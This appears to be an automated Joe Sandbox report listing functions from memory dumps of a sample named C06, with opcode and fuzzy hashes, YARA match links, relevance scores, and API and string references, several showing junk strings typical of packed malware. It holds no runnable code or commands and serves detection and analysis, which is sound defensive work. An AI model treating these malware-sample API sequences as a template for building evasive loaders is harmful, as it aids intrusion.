Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 343815bce9346eaae17d89fa6854054a23ae4e27c26dfa32decb569fa60ecfec
Instruction ID: 2c3eadc4f1db71a715d24244e71b10292d72a07f9216d393076bd1b98b0680ad
Opcode Fuzzy Hash: 343815bce9346eaae17d89fa6854054a23ae4e27c26dfa32decb569fa60ecfec
Instruction Fuzzy Hash: E19002742911808AD65417755E0954575915EC8702B6144756441E44A5DE794450A529

Uniqueness

Uniqueness Score: -1.00%

Function 02325DF7 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction ID: b0d55e0f9365256b280c79b31e7508f11c7c4e0f520bc854cd4b0f8df7273431
Opcode Fuzzy Hash: 877f63b2793ebbe0b59198544446deee2a7ddffc7aca60e89c3a6b5019f50021
Instruction Fuzzy Hash: DA42BF71629F158BC3DADF24C88055BF3E1FFC8218F048A1DD99997A94DB38F819CA91

Uniqueness

Uniqueness Score: -1.00%

Function 0232A026 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction ID: c6a07f627a58fb9eaf0e7d68cff308f160a35b1d0a00c2beb53f85848d04c24c
Opcode Fuzzy Hash: e5f2568764100725235c6401e73ec7c3249674854c723175d34cd2e4a517ce8f
Instruction Fuzzy Hash: 1C22CF76904B128FC714CF19D08065AF7E1FF88324F558A6EE9A9A7B10D730FA59CB81

Uniqueness

Uniqueness Score: -1.00%

Function 02322B60 Relevance: .4, Instructions: 443COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction ID: 05d082330c416e67c06a532964af8df8e1104b9eb0c871c855bdc4d54a32604c
Opcode Fuzzy Hash: 91ba71904dea84e20fa54172000c9738ff60065219db22b0a49b9952a31d8242
Instruction Fuzzy Hash: CDF1B571344B058FC758DE5DDDA1B16F7E5AB88318F19C728919ACBB64E378F8068B80

Uniqueness

Uniqueness Score: -1.00%

Function 02323520 Relevance: .4, Instructions: 427COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction ID: 1562dc0c0ff7ecc89ec8050f244e5ac50586a85df9b2cefdb4dff034a60ff1f3
Opcode Fuzzy Hash: fbc65900fc73bc000bc8580b4acecc80d5647e222a799f60cb590115ce9fd550
Instruction Fuzzy Hash: 8E028E711187058FC756EE1CD49035AF3E2FFC8309F19892DD68987B64E739A9198F82

Uniqueness

Uniqueness Score: -1.00%

Function 023289D0 Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction ID: 38d6cce7a794bfed78cacf8454328c4a08abceb7310032934ae4714547164fe5
Opcode Fuzzy Hash: 0a5954790e41dc4624a9d46858f3452b98d53d0cd8c243c9cc9c775596d105f9
Instruction Fuzzy Hash: 2FC12833E2477906D764DEAE8C500AAB6E3AFC4220F9B477DDDD4A7242C9306D4A86C0

Uniqueness

Uniqueness Score: -1.00%

Function 0232B0B0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction ID: df2c4c515fd841e59ce1562a0ab25882b3ce99f0beb031de6457ca4699836b99
Opcode Fuzzy Hash: 260573a8829919281ce9b140437ef2de714630fc7763413699c1452f37438119
Instruction Fuzzy Hash: 47A1EA0A8090E4ABEF455A7E90B63FBAFE9CB27354E76719284D85B793C019120FDF50

Uniqueness

Uniqueness Score: -1.00%

Function 023230F0 Relevance: .3, Instructions: 336COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction ID: 47aeaaac46cadc797a226e4c34e547b17c64e59c69488b17d9ed8be6dbaff1af
Opcode Fuzzy Hash: f27a0b4d4ac2ce6bc1e4b63d0c78f0f0db76eb82bb00af9427607acde08c7a9f
Instruction Fuzzy Hash: 3DB14D72700B164BD728EEA9DC91796B3E3AB84326F8EC73C9046C6F55F2BCA4454680

Uniqueness

Uniqueness Score: -1.00%

Function 0232CA10 Relevance: .3, Instructions: 280COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction ID: 4e298ee5c1d0e54e8b6c6ed6fac767a948ea9dda929a8466e5cf21217990661a
Opcode Fuzzy Hash: b02fe9d9872fded329b77120f2c573e6cf8b0d350d9fa23001143a57df52eae3
Instruction Fuzzy Hash: 1DC19DB5E003599FCB54CFA9C881ADEFBF1FF48204F24956AE919E7301E334AA458B54

Uniqueness

Uniqueness Score: -1.00%

Function 02325DE7 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction ID: fcd2b720ffef74caff1087a16d07cce943cc9e904d77cc74aa58a3e0aa621741
Opcode Fuzzy Hash: 9479a41546b8b9daa844b3f0f9bcf180ed8e63d922313bf96b91a02671daf30e
Instruction Fuzzy Hash: 10B18470039FA686CBD3FF30911028BF7E0BFC525DF44194AD59986864EB3EE94E9215

Uniqueness

Uniqueness Score: -1.00%

Function 02327520 Relevance: .3, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction ID: 3d7029da9833e5f7c34062281f98cc4fea10e2de7f942c21b98a8d3904a7f6d9
Opcode Fuzzy Hash: a087d59a956fa7918cd600c7f095cfaed33154cdf998442540aba7f69786321b
Instruction Fuzzy Hash: B49114739187BA06D7609EAE8C441B9B6E3AFC4210F9B077ADD9467282C9309E0697D0

Uniqueness

Uniqueness Score: -1.00%

Function 0232C760 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction ID: 0c711975ebf49f28abfba0b5744faa590608a7e22efcb6347d30ac1921d05a86
Opcode Fuzzy Hash: 61293238dc523bda29a07f89e573218fa02bdd4a3ea5a0101b4e634da50cabe3
Instruction Fuzzy Hash: 3FB17AB5E002199FCB84CFE9C885ADEFBF0FF48210F64916AD919E7301E334AA558B54

Uniqueness

Uniqueness Score: -1.00%

Function 0232A916 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction ID: bd1c1252cd3b618672fb550c96a20bddfba4c526ab356a1288fdfd9e3291c64b
Opcode Fuzzy Hash: 2aad1ace9f17e27fc90b6d8408a6fd0dde4342c6dd5611bbc4c971f1f4f8439c
Instruction Fuzzy Hash: 3671D473A20B254B8314DEB98D94192F2F1EF84610B57C27CCE84E7B41EB31B95A96C0

Uniqueness

Uniqueness Score: -1.00%

Function 023259F7 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction ID: 625320412c91c0339ff9cbd135fba29bda77fd229c73e471e1455f3b600268ec
Opcode Fuzzy Hash: a34512ff72d5238815f0e29e494786616004433761634013c39009702cee8180
Instruction Fuzzy Hash: 7C8137B2A047019FC328CF19D88566AF7E1FFD8210F15892DE99E83B41D770F8558B92

Uniqueness

Uniqueness Score: -1.00%

Function 02328E60 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction ID: c6519828922e25f4f4c10b23e452df0d5dcb659f28dbb2e3db3b82c563ad43d0
Opcode Fuzzy Hash: ad9f3a43cb7dd3b518013f9b6064ab15edb1b03e1d503d3f24361335b78b864c
Instruction Fuzzy Hash: 66710622535B7A0AEBC3DA3E881046BF7D0BE4910AB850956DCD0F3181D72EDE4E77A4

Uniqueness

Uniqueness Score: -1.00%

Function 0232A699 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction ID: fc42f11f4c3a2868920d9b15fefd3a101f8662a68ce9fe2da14c49b3e520c553
Opcode Fuzzy Hash: 3d5cdb525d0acefe293bc2cb43d2c02f70863ca624e14ca51f49ae32e7611bbb
Instruction Fuzzy Hash: E0815875A10B669BD754CF2ED8C046AFBF1FB08210B518A2ADCA583B41D334F565CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02329120 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction ID: a8177a24b9a158cf46d33a8d47f6cb56f730f5bc0ed2802b8ebb6b27f9b7ea45
Opcode Fuzzy Hash: 851fc9b6f54d0d524cfed56ff25d709cf64ba4b7deb611180c80db8baab8909e
Instruction Fuzzy Hash: 4E61A3339046BB5BDB649E6DD8401A9B7A2BFC4310F5B8A75DC9823642C234EA11DBD0

Uniqueness

Uniqueness Score: -1.00%

Function 02327A80 Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction ID: 875345f446c6a5a655cf7335dbc4f4e3db93efbfcc18a946a9dd034ad61e1ead
Opcode Fuzzy Hash: e99aa2f60f3c65b998b8173ecf6d62a85e0283f60168b484be672eab7d553dce
Instruction Fuzzy Hash: BC617C3791262B9BD761DF59D84627AB3A2EFC4360F6B8A358C0427642C734F9119BC4

Uniqueness

Uniqueness Score: -1.00%

Function 02327880 Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction ID: ee70144dc994b4a72393d80588b238d5a4f03a4739ac183e6041833e647bb072
Opcode Fuzzy Hash: 213e8dd87d5c2f66bb6fb1c01bf5d713fa88062fa37de47d36406d71930442ef
Instruction Fuzzy Hash: 0E51DC229257B945EBC3DA3D88504AEBBE0BE49106B46055BDCD0B3181C72EDE4DB7E4

Uniqueness

Uniqueness Score: -1.00%

Function 02327220 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction ID: f0ef39fb87bbcbabf7c087ccc32622f448b38fccad3fa450d398332d7bff4148
Opcode Fuzzy Hash: 7d91c7687d8e85e62bc80eb2502b46881ecafdad5d685667df6fa97b6554fb78
Instruction Fuzzy Hash: C4417C72E1872E47E34CFE169C9421AB39397C0250F4A8B3CCE5A973C1DA35B926C6C1

Uniqueness

Uniqueness Score: -1.00%

Function 0228A71C Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249920572.0000000002289000.00000040.00000020.00020000.00000000.sdmp, Offset: 02289000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2289000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction ID: 2aa3ea75f6073760d67e40a6cac47edbd7c441f37f8ef83b22c511d4e61228d7
Opcode Fuzzy Hash: 1d6b6acc52598ba466396b9b98489674ce8409ccf4a4742af8d6b4b599497031
Instruction Fuzzy Hash: 4D3199358272829FCB15DEB0D8A0AF9BB70EF87324F58959EC0818B04AD725A047D7D4

Uniqueness

Uniqueness Score: -1.00%

Function 023270E0 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction ID: 0490d86b4bce045c3c4fd50df124024f9d30e3e971c92668636fd4ef92e6cccb
Opcode Fuzzy Hash: dad9f5e2b4397fc96ae248ae23b4bb8b0f73d482c6b1a500fc30c3239f901945
Instruction Fuzzy Hash: 40315E7682976A4FC3D3FE61894010AF291FFC5118F4D4B6CCD505B690D73EAA4A9A82

Uniqueness

Uniqueness Score: -1.00%

Function 02327393 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction ID: e91eb3c11a4c3e34bed784fe905470b61dad9e63d1e9d745d4f0952ae401a223
Opcode Fuzzy Hash: aca7381c331421ab033d5a8929ad27c90a0d590f00afa5b17f2b634ed140bded
Instruction Fuzzy Hash: BF3114306183559FD751EF29C480A4BF7E1FFC8258F01D919F98897221D730E988CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 023418D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 69fb9cfbeeb0a962dd94d67a8f89c19d78793081d320dce989c4db7147a35a16
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5F115E7724084243D654862DD4B46B7E3F5EBC612872C43FAD0CA8B758DB22F1C1D580

Uniqueness

Uniqueness Score: -1.00%

Function 0232B000 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction ID: cae8e0eed76fe2eb4b2a7df28fdddbaf5715179a64fa1837c668f4590ff88393
Opcode Fuzzy Hash: d5d2e5b651617a4f85808dc17347bd2f4f1c2507898c94840b2185a5104128c2
Instruction Fuzzy Hash: E3114F0A8492C4BDCF424A7840E56EBFFA68E3B218F4A71DAC8C45B743D01B150FE7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0232A79A Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction ID: ba086961632bf2a9cf8a0b2d2d02290eaf52fed3540a108d1b92170024d828e1
Opcode Fuzzy Hash: f7a2a3c4e4e7b1265b14b7c3247eccdedd29083849295e66ade5a7e6f19b4579
Instruction Fuzzy Hash: 200128768106629BD700DF3EC8C045AFBF1BB082117528B2ADC9083A41D334E666DBE8

Uniqueness

Uniqueness Score: -1.00%

Function 00404933 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

SetVolumeMountPointW.KERNEL32(wukovazitehohodoweb,potinifahax), ref: 00404964
OpenFileMappingW.KERNEL32(00000000,00000000,00000000), ref: 0040496D
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 00404975
GetWindowsDirectoryW.KERNEL32(?,00000000,?), ref: 004049DE
RemoveDirectoryA.KERNEL32(00000000), ref: 004049E5
WriteConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 00404A06
WriteConsoleInputW.KERNEL32(00000000,?,00000000,?), ref: 00404A16
GetFileAttributesA.KERNEL32(00000000), ref: 00404A7B
BackupWrite.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,?), ref: 00404AA8
GetVolumePathNameA.KERNEL32(sewomexikijalodedeleve soyugoloraci yamazid,?,00000000), ref: 00404ABB
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00404AEE
BeginUpdateResourceW.KERNEL32(00000000,00000000), ref: 00404B29

Strings

sewomexikijalodedeleve soyugoloraci yamazid, xrefs: 00404AB6
, xrefs: 004049AE
wukovazitehohodoweb, xrefs: 0040495F
d, xrefs: 00404A8B
potinifahax, xrefs: 0040495A

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: ConsoleWrite$DirectoryFileResourceUpdateVolume$AliasesAttributesBackupBeginCharacterInputLengthMappingMountNameOpenOutputPathPointRemoveWindows
String ID: $d$potinifahax$sewomexikijalodedeleve soyugoloraci yamazid$wukovazitehohodoweb
API String ID: 3921090981-798231047
Opcode ID: c984a35c5fd978b9c7cc7dfd1ca38fb396b8b615528d188fa5661a398d6f328a
Instruction ID: 87ee185074beea56d39e50044d3d0879882f27b56c1281c691d52274bea92d3a
Opcode Fuzzy Hash: c984a35c5fd978b9c7cc7dfd1ca38fb396b8b615528d188fa5661a398d6f328a
Instruction Fuzzy Hash: BE61E7B5D00209EFDB10CFA4DD849EEBBB8FB58315F14946AE545B3261D338AA44CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00404F96 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 00404FB9
__fileno.LIBCMT ref: 00404FCA
__fileno.LIBCMT ref: 00404FD6
__fileno.LIBCMT ref: 00404FE6
__fileno.LIBCMT ref: 00405007
__fileno.LIBCMT ref: 00405013
__fileno.LIBCMT ref: 0040501F
__fileno.LIBCMT ref: 0040502F
__fileno.LIBCMT ref: 00405050
__fileno.LIBCMT ref: 0040505C
__fileno.LIBCMT ref: 00405068
__fileno.LIBCMT ref: 00405078
__cftof.LIBCMT ref: 0040509E
__flsbuf.LIBCMT ref: 004050D6

Part of subcall function 00405A9D: __fileno.LIBCMT ref: 00405AA8

__flswbuf.LIBCMT ref: 00405107

Part of subcall function 00405FF9: __fileno.LIBCMT ref: 00406004

Strings

N@, xrefs: 00405094, 004050CF, 004050BF, 00405099, 004050D5
N@, xrefs: 00404FAA, 00404FB8, 00404FC9, 00404FD5, 00404FDE, 00405006, 00405012, 0040501E, 00405027, 0040504F, 0040505B, 00405067, 00405070, 004050D4, 00405105

Memory Dump Source

Source File: 00000008.00000002.2249545402.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2249520157.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249603525.00000000004A6000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.2249675024.000000000061D000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_C06.jbxd

Similarity

API ID: __fileno$__cftof__flsbuf__flswbuf
String ID: N@$N@
API String ID: 792820942-3347624943
Opcode ID: 6bb5b8c0a1901b4abf85ed9fb0c2b1fdde3c7d6086ae829146d2dd8996f0484f
Instruction ID: 7cd9c4c6eeb9f45161be54f2311e06bc8da88028723dcb38d93e897795e75482
Opcode Fuzzy Hash: 6bb5b8c0a1901b4abf85ed9fb0c2b1fdde3c7d6086ae829146d2dd8996f0484f
Instruction Fuzzy Hash: 9A412B72010925AAC3145B29AC459BF3764EF4232C335077FF466FB2D6DA3CD6528A9C

Uniqueness

Uniqueness Score: -1.00%

Function 02346437 Relevance: 18.1, APIs: 12, Instructions: 84COMMON

Download Yara Rule

APIs

__calloc_crt.LIBCMT ref: 0234644E

Part of subcall function 02349636: __calloc_impl.LIBCMT ref: 02349645

__calloc_crt.LIBCMT ref: 02346472
_free.LIBCMT ref: 02346480
__calloc_crt.LIBCMT ref: 0234648E
_free.LIBCMT ref: 0234649E
_free.LIBCMT ref: 023464A4
__copytlocinfo_nolock.LIBCMT ref: 023464B3
__setmbcp_nolock.LIBCMT ref: 023464D4
_free.LIBCMT ref: 023464E2
___removelocaleref.LIBCMT ref: 023464E9
___freetlocinfo.LIBCMT ref: 023464F0
_free.LIBCMT ref: 023464F6

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 2c0e65394102a967ea87498f3a6eda92e5c02ca2aa4602cc3d68ce19bce2be9a
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: F7210235204A00AFEB313F65DC02E4B7BEEDF42760B9080E9E489555A0EF22B990CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02343F16 Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02343F51

Part of subcall function 02345BA8: __getptd_noexit.LIBCMT ref: 02345BA8

__gmtime64_s.LIBCMT ref: 02343FEA
__gmtime64_s.LIBCMT ref: 02344020
__gmtime64_s.LIBCMT ref: 0234403D
__allrem.LIBCMT ref: 02344093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023440AF
__allrem.LIBCMT ref: 023440C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 023440E4
__allrem.LIBCMT ref: 023440FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02344119
__invoke_watson.LIBCMT ref: 0234418A

Memory Dump Source

Source File: 00000008.00000002.2249972858.0000000002320000.00000040.00001000.00020000.00000000.sdmp, Offset: 02320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2320000_C06.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 1bde256c994e785c6b2d4969217d4125d758e881ed56ee7fec1b7459a4862719
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 2471EB71A00716ABE7249E79CC81B6AB3F9AF14764F1442B9E914E7680EF70F9418BD0

